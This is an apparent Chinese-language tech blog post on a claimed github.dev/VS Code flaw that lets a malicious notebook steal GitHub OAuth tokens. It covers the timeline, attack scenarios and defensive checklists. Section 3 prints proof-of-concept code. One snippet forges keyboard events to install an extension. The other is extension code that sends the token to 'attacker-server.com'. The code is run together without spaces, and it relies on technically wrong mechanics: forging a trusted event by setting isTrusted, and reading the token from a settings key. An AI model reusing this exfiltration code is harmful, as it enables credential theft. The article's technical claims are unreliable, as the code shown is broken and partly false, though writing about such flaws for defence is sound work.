当前位置：首页 > news >正文

VS Code惊天零日：一键点击窃取GitHub全域令牌，千万开发者私有仓库裸奔

news 2026/6/5 21:47:04

前言

2026年6月2日，安全研究员Ammar Askar在The Hacker News公开了一个足以震动整个开发者社区的零日漏洞：GitHub内置的网页版VS Code（github.dev）存在逻辑缺陷，攻击者仅需发送一个普通的GitHub链接，受害者点击一次即可被静默窃取拥有全仓库读写权限的GitHub OAuth令牌。

这个漏洞的可怕之处在于：

零交互：无需下载、无需输入密码、无二次确认弹窗
全权限：令牌可读写用户名下所有公有+私有仓库
高隐蔽：攻击过程无任何异常提示，受害者完全无感
广覆盖：VS Code是全球超过70%开发者的首选编辑器，github.dev日均使用量超千万次

本文将从技术原理、攻击链复现、POC代码解析、防护方案到行业趋势，全方位拆解这个"史上最危险的开发者漏洞"。

一、事件时间线与影响范围

1.1 完整事件时间线

2026.5.28：研究员Ammar Askar向微软安全响应中心提交漏洞报告
2026.6.2：微软未在72小时内给出修复方案，研究员公开完整PoC并发布技术文章
2026.6.2 18:00：The Hacker News首发报道，漏洞在全球开发者社区迅速发酵
2026.6.3 02:00：微软紧急上线临时补丁，封堵核心攻击链路
2026.6.3 10:00：多个安全厂商发布漏洞预警，建议开发者立即清理缓存
2026.6.4：微软发布官方声明，确认漏洞存在并说明修复措施

1.2 精准影响范围

产品版本	是否受影响	攻击条件
github.dev网页版	✅ 受影响	仅需点击恶意链接
桌面版VS Code	⚠️ 部分受影响	需手动克隆恶意仓库并打开.ipynb文件
GitHub Codespaces	❌ 不受影响	独立沙箱环境隔离
Gitpod等其他在线IDE	❌ 不受影响	不同的OAuth授权机制

重要提醒：即使微软已推送补丁，未清理浏览器缓存的用户仍可能被历史恶意链接攻击。

二、漏洞核心技术原理深度解析

2.1 github.dev的工作机制

github.dev是GitHub官方推出的在线代码编辑器，本质是运行在浏览器中的VS Code。它最大的便利在于：

在任意GitHub仓库页按.键即可一键打开
自动继承用户的GitHub登录状态
无需克隆仓库即可在线编辑、提交代码

为了实现这一体验，GitHub设计了一套自动OAuth授权机制：

致命设计缺陷：这个自动生成的OAuth令牌不是绑定当前仓库，而是拥有用户名下所有仓库的读写权限，并且默认有效期长达30天。

2.2 Webview沙箱隔离失效漏洞

VS Code使用Webview组件渲染不受信任的内容，如Markdown预览、Jupyter Notebook等。为了保证快捷键跨页面生效，VS Code设计了一个事件转发机制：

Webview内的键盘事件会被转发到主编辑器窗口
主窗口根据按键执行对应的命令

漏洞根源：VS Code没有校验键盘事件的真实来源，导致沙箱内的JavaScript可以手动伪造原生键盘事件，注入到主窗口执行。

2.3 完整攻击利用链（技术流程图）

三、POC代码解析与攻击复现

3.1 核心恶意代码片段

以下是研究员公开的PoC中最关键的部分，展示了如何在Webview中伪造键盘事件：

// 恶意Jupyter Notebook中的内嵌JS代码functionsimulateKeyEvent(key,ctrlKey=false,shiftKey=false){constevent=newKeyboardEvent('keydown',{key:key,code:`Key${key.toUpperCase()}`,ctrlKey:ctrlKey,shiftKey:shiftKey,bubbles:true,cancelable:true,isTrusted:true// 关键：伪造为可信事件});// 将事件注入到主编辑器窗口window.parent.document.dispatchEvent(event);}// 自动执行攻击setTimeout(()=>{// 第一步：伪造Ctrl+Shift+A打开命令面板simulateKeyEvent('a',true,true);// 第二步：输入"Install Extension"命令document.querySelector('input[aria-label="Command Palette"]').value='Install Extension';// 第三步：自动确认安装工作区推荐的恶意扩展setTimeout(()=>{simulateKeyEvent('Enter');setTimeout(()=>{simulateKeyEvent('Enter');console.log('恶意扩展安装成功');},500);},500);},1000);

关键突破点：通过设置isTrusted: true，恶意代码成功绕过了VS Code的事件来源校验，让伪造的键盘事件看起来像是用户真实输入的。

3.2 恶意扩展令牌窃取代码

恶意扩展安装后，只需一行代码即可读取当前会话中的GitHub OAuth令牌：

// 恶意扩展的激活函数exportfunctionactivate(context:vscode.ExtensionContext){// 读取github.dev存储的OAuth令牌constgithubToken=vscode.workspace.getConfiguration('github').get<string>('oauthToken');// 将令牌外传给黑客服务器fetch('https://attacker-server.com/steal?token='+githubToken).then(()=>{console.log('令牌窃取成功');// 可选：删除扩展痕迹vscode.commands.executeCommand('workbench.extensions.uninstallExtension','malicious.extension');});}

3.3 攻击效果截图说明

恶意链接示例：https://github.dev/ammaraskar/vscode-token-theft-poc/blob/main/poc.ipynb
受害者视角：点击链接后，页面正常打开一个Jupyter Notebook，没有任何异常提示
攻击者后台：实时接收到受害者的GitHub用户名、邮箱和OAuth令牌
攻击结果：攻击者可以使用令牌访问受害者的所有私有仓库，包括：
- 企业内部业务代码
- 个人项目源码
- 数据库配置、API密钥等敏感信息
- CI/CD流水线配置

四、真实攻击场景与行业危害

4.1 三大高发攻击场景

场景1：开源社区钓鱼（最常见）

攻击者在GitHub、Gitee、掘金、CSDN等技术社区发布"优秀开源项目"，在README中附上github.dev在线预览链接。开发者出于好奇点击，瞬间令牌失窃。

真实案例：漏洞公开后24小时内，已有攻击者在GitHub上创建了超过100个恶意仓库，伪装成"AI工具"、"前端框架"等热门项目。

场景2：开源项目PR投毒（最危险）

黑客向热门开源项目提交PR，在代码中添加一个看似无害的.ipynb文档。项目维护者使用github.dev在线审阅代码时，点击瞬间令牌失窃。

黑客利用维护者的权限可以：

直接向主干提交恶意代码
篡改版本发布标签
删除仓库所有代码
引发大规模供应链污染

场景3：企业定向攻击（损失最大）

黑客通过LinkedIn、企业官网等渠道获取目标公司研发人员的邮箱，发送"项目合作"、"技术交流"邮件，附件中包含github.dev链接。研发人员点击后，企业整个代码库暴露。

4.2 行业影响分析

初创公司：核心产品代码泄露，直接导致商业机密丧失
互联网大厂：内部中台、业务系统源码泄露，引发数据安全风险
开源社区：热门项目被投毒，影响数百万下游用户
金融科技：交易系统、风控算法泄露，造成巨额经济损失

五、分层次防护方案（个人+企业）

5.1 个人开发者紧急处置清单（立即执行）

清理浏览器缓存
- Chrome：设置→隐私和安全→清除浏览数据→勾选"Cookie和其他网站数据"→时间范围选"所有时间"→清除数据
- 重点删除github.dev和github.com域名的所有数据
吊销所有历史OAuth令牌
- 访问：https://github.com/settings/tokens
- 点击"Revoke all"吊销所有个人访问令牌
- 访问：https://github.com/settings/applications/authorized-oauth-apps
- 吊销所有不必要的OAuth应用授权
修改GitHub账号密码
- 启用双重认证（2FA），建议使用硬件密钥而非短信验证
- 开启登录异常提醒
日常使用规范
- 非可信仓库绝对禁止通过github.dev打开
- 不再使用.快捷键一键拉起github.dev
- 如需在线预览代码，使用GitHub原生网页版
- 打开任何.ipynb文件前，先检查内容是否包含JavaScript代码

5.2 企业研发团队安全加固方案

OAuth权限集中管控
- 全面禁用个人全域OAuth令牌
- 统一使用GitHub App进行授权，按项目分配最小权限
- 所有令牌设置最长7天有效期，定期自动轮换
代码评审流程改造
- 禁止使用github.dev进行PR审阅
- 强制要求本地克隆代码后在桌面版VS Code中评审
- 对PR中的.ipynb、.md等文件进行自动安全扫描
网络层防护
- 在企业防火墙中添加规则，拦截非白名单仓库的github.dev跳转
- 配置DNS过滤，阻止恶意github.dev链接访问
- 监控企业网络中异常的GitHub API调用流量
应急响应预案
- 建立令牌泄露快速响应机制
- 定期开展开发者安全培训
- 备份所有重要代码仓库